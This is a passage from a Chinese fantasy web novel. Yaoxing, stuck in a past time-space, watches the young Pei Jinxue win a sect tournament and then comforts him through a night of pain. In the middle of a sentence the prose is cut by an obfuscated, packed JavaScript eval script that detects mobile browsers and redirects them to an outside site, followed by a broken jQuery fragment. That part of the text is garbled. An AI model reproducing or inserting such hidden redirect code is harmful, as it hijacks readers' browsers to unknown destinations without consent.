裴烬雪痛苦的尖叫声才刚开个头,就像是被人掐断,之后也再无声音传出。
这份安静,让摇星有种喘不过气来的感觉。
不可掌控,无可奈何。
有什么事在发生,但她无力改变。
暗道里看不见外头的日夜,摇星不知道具体过去了多久,她来回踱步,只觉每一分一秒都难熬得紧。
可仿佛偏偏与她作对,好不容易等到石门响起“轰隆”开门声时,周围环境却变了。
她被迫去到了另一个时间点。
摇星站在主峰蜿蜒的长廊下,半天才回过神。
两个修士交谈着穿过她,摇星听到熟悉的字眼,抬脚跟了上去。
“听说那个十三岁的少年是陆盟主的儿子,虎父无犬子啊。”
“啊?可他不是姓裴吗?”
“你不知道啊,陆盟主的第一任夫人是前盟主的女儿啊,他是跟他娘姓的。”
“啊,那不是入赘?”
“嘘,小点声,这不是秘密,但现在谁还敢说。”
“唉,那先前高台上陆盟主身边的女人和孩子就是……”
“嗯,是现在的夫人和小儿子。”
“可那孩子看起来跟大儿子顶多差个三四岁啊。”
“谁说不是呢。”
“这……”
“啊,敲鼓了,快点要赶不上了!”
……
摇星表情淡下来,已经过了几年了么……
摇星顺着两人的方向,来到了熙熙攘攘的广场。
她一眼就望见高台上坐着的陆浩,也望见他身旁正襟危坐的艳丽女子和幼时的陆凝川。
陆凝川很好辨认,虽带着稚气但明显是个缩小版,而且他长得像陆浩。
他就站在他爹身后,似乎是无聊,时不时把玩着旁边飘过的旗帜。
摇星朝他们附近找去,又收回视线扫向周围。
没人能看见她,她也不占位置。摇星绕着中间的比武台找了两圈,可始终没看到想找的人。
这时,有人走到高台前大声道:“玄天演武大会最终比试,第一场,天阙山裴烬雪对辰霄宫上官陌!”
摇星立马朝场上看去,那个叫上官陌的走出,站在了对面。
裴烬雪呢?
身旁人群躁动,摇星还没回头,一个穿着白色衣服和她差不多高的人穿过她上了台。
这个角度,看不见他的面容。
摇星呆站了会儿,才走到对面,注视着十三岁的裴烬雪。
他长大了,和裴小瓜时期迥然不同,现在的他和成年的裴烬雪已有八成相似。
尤其是那双眼里的冰霜。
摇星恍然,觉得自己好像错过了很多。
而他,也看不见她了。
脑中仿佛有台老旧的电视机在滋啦作响中播放着画面——
四岁的孩童头顶支着呆毛,挥舞桃木剑咧嘴大笑,露出的虎牙带着一片天真无邪。
五岁的裴小瓜张开双臂御风而飞,兴奋大叫,抱着她将脑袋搁在她肩上脆生生说‘神仙姐姐,我喜欢你’。
灰白噪点跳动,画面变成蜷在树杈间压抑着哭声的幼兽,他眼里盛满悲伤与惊惶,却终究抵不过命运,在呜咽中被强行拽离母亲的怀抱。
接着是八九岁的裴烬雪跟在父亲身后,一步步踏进那道像是能吞噬他的石门。
雪花点彻底吞没那个僵直的背影,也将那个鲜活灵动的裴小瓜永远留在了故去的旧时光里。
摇星看着场上翻飞的利落身影,按了按突突作痛的太阳穴,眼眶不知何时泛起酸意……
比赛结束的很快,裴烬雪几乎是碾压式胜利。
他步下比武台,朝来时的方向离去。
没看任何人,也没任何胜利的喜悦,好似仅仅完成了一项任务。
周围或艳羡或惊叹。
摇星没动,她就这么站在原地,目送他走远。
剩下的比赛打得胶着,但最终的胜者在开始就已注定。
广场上的人散去,暮色渐渐浸染天际,晚霞与春意交融,山峦被镀上金边,柔和而朦胧。
只是不知这份暖阳有没有落在恒月居。
摇星在广场下的台阶上坐下,托着腮陷入沉思。
她想,她应该跟上裴烬雪的,毕竟还要通过他找到出去的办法。
可见到十三岁,已有成年之姿的裴烬雪,她有点……怎么说呢,大概是一种类似别扭的情绪吧。
理性上,接近他找到破局点。
感性上,却不敢靠近,对,是不敢。
裴烬雪就像是深渊,神秘却危险,而她越靠近,就越是深入,也意味着她可能万劫不复。
其实她不该插足裴烬雪的人生的,谁知道出去后,裴烬雪这个过去时空的主角还记不记得这里发生的事。
记得,那以后要怎么相处?
不记得……不记得……她大约会不甘心吧。
如果注定要忘,那不如两人都忘了,当什么都没发生过。
摇星忽地放下托腮的手,站了起来。
往后的事,谁也说不准,她不能因为还没发生的事,放弃眼下唯一破局的路。
反正他现在都看不见她了,她成了旁观者,说不定等他到真实的年岁,这过去时空就会自动瓦解。
按这眨眼几年的速度,她过不了多久就能离开了。
想通后,摇星直接去往恒月居。
恒月居和以前裴梨在时已截然不同,屋还是那个屋,但少了精心打理的花草,少了修整,看起来有种荒芜的凄凉感。
摇星直接踏上水榭二层,进了曾经她找萸木来过但当时上锁的屋子,不过现在她知道这间就是他母亲居住过的。
踏入的瞬间,摇星便闻到熟悉的淡淡雪莲香,在进入埋骨海那会封闭的嗅觉恢复了。
屋里没有点灯,但床头有颗夜明珠,她一眼看到床榻上的少年裴烬雪。
他抱着剑蜷缩着身子,在发颤。
汗水在他领口洇开了一大团,湿漉漉的头发散乱在苍白脸颊,整个人都像是刚从水里捞出来的,痛苦,狼狈。
有一股泛着红光的力量在他经脉下暴躁蹿走,摇星看到它游过裴烬雪脖颈、额头,又隐入衣内,不断循环往复。
而裴烬雪就随着这股力量,颤抖不止,他咬紧牙关,只有喉间压抑的痛哼溢出。
摇星没料到她过来见到的是这副场景。
十三岁的他刚在所有宗门世家面前夺得魁首,本该是风光无限,就算他淡漠,但毕竟只是个半大孩子,还是盟主之子,应该……
……无论是哪种,都不该是现在独身一人在这偏僻地方被折磨的死去活来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902478|176702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的样子。
忽然,他在颤抖中往榻下栽去,摇星本能冲上去,下一刻才想到他能穿过自己,她这样是徒劳。
然而,她接住了。
微愣后,摇星将裴烬雪放回床榻。
抽手时,一只比记忆中小些的手掌握住了她的手。
汗湿的掌心,有多个磨手的厚茧。
裴烬雪意识并不清晰,但握她的手却力气很大。
摇星的手被他拉到胸前,他另一只手也松了剑转而抱住她的手,一如当初幼小的他在失去爱他的母亲后,紧紧抓住她的模样。
摇星沉默,没再收回手,她在床边坐下来。
她想怼066来高兴下,可惜自卷入这,066就再也没回应过她,连身体也变成了木雕。
整晚,摇星就维持着这样的坐姿。
月光透过窗棂爬进来,在她身上镀了层霜白,又悄然移走。
直到东方泛起鱼肚白,裴烬雪才松手,缓缓睁开了眼。
那双漆黑的眸子在见到她的瞬间,似是怔住。
随即嘴角扯出一个难看的笑,重新闭上了眼。
“做梦么。”
声音干哑。
听到这几个字,看着那抹弧度,摇星突然做了个决定,她开口道:
“不是梦。”
裴烬雪猛地睁开眼。
“裴小瓜长这么大了啊。”摇星弯起眉眼。
“你……”裴烬雪坐起身,脸上仍带着不可置信。
“怎么,不记得我是谁了啊?”
少年裴烬雪闻言,蓦地垂眼扭过头不看她,但紧捏的拳头却泄露他的情绪。
过了一会儿,那头又转了回来,看向她的眼底发红。
“我以为……”
嗓音打颤,他顿了顿似是稳了下情绪,再说话时仅余低哑:“以为你再也不会来了。”
“唔,我是神仙嘛,有时候睡一觉可能就过去几年。”摇星笑道。
少年裴烬雪对这个答案不置可否,但表情显然是不信的。
摇星心里叹了口气,唉,长大了,不好骗了。
“你昨晚是怎么回事,你身体——”
“没事!”他打断她,随后意识到自己的不自然,又解释道,“没事,最近练功有点急,所以才那样,很快就会恢复。”
摇星:……一整晚,可不是‘很快’。
但他不想说的话,她就不再问了,她不打算去探究裴烬雪的秘密,尤其这秘密可能关乎他未来。
恒月居没有别人住,也没有访客。
裴烬雪每天的生活很枯燥,早上会去主峰跟随师父学剑,午时回来,接着除了练剑打坐就是练剑打坐。
摇星倒是多了个乐趣,她在水榭边的那棵长势颇好的大树上,挑了两个粗粗的枝丫,做了个吊床。
少年裴烬雪练剑时,她就躺在这吊床上欣赏,顺便正大光明地学那么两招。
见她想学,裴烬雪走到吊床边,嗫嚅半天才问要不要他教她。
摇星瞥向他跟自己差不多的身高,想着教练剑免不得贴近手把手的,还是拒绝了。
除了偶尔裴烬雪会在她进屋后消失一晚外,一切看起来都很正常。
有时,摇星仿佛觉得自己好像真的多了一个弟弟。
只是,这样的日子终究迎来了转折……